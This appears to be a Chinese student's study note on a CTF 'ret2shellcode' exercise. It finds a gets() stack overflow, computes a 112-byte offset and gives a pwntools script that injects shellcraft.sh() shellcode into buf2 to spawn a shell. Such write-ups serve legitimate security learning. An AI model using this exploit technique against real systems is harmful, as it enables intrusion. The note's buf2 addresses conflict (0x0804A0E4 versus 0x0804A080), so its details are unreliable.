ret2shellcode学习笔记 -- PWN学习笔记

还是先IDA一下，看下反汇编的结果：

这里有gets()大概率会有栈溢出的情况，然后看左侧，没有vulnerable和get_shell，这是跟上一题最大的不同，但是先可以看看ebp等的动态执行情况：

跟上篇一样，输入八个A之后，出现

这里需要注意的一点，stack 24可能显示不出ebp那一行

所以stack 35 增大行数试试

可以看到eax存放的就是我们输入的gets(s)中的数据，而ebp就是我们所要溢出的位置

先借助python3 计算一下两者相差多少

可以发现两者相差108B，跟上题同样套路，还要加上4B的从ebp的再高一个位置的返回地址，即： 108+4 = 112B

所以总共要填充的是112B，但是这道题目中没有shellcode（个人理解是没有get_shell?）。所以要借助Python中的 

shellcraft.sh()
asm(shellcraft.sh())

而IDA中的那句： strncpy(buf2, &s, 0x64u);

是我们可以借助的，因为代码的功能是将s中的0x64u（也就是100B）复制到buf2中，所以我们可以将返回地址处填充上buf2的地址（这边没太明白┭┮﹏┭┮）

所以才有了：buf2 = 0x0804A0E4

buf2 = 0x0804A0E4
payload = asm(shellcraft.sh()).ljust(112,b'a')

其中ljust(112,b'a') 是python3的一个函数用来填充a至112B数据

from pwn import*
io = process('./ret2shellcode')
buf2 = 0x0804A080
payload = asm(shellcraft.sh()).ljust(112,b'a')
payload += p32(buf2)
io.sendline(payload)
io.interactive()

执行结果：

这样就相当于获得了shell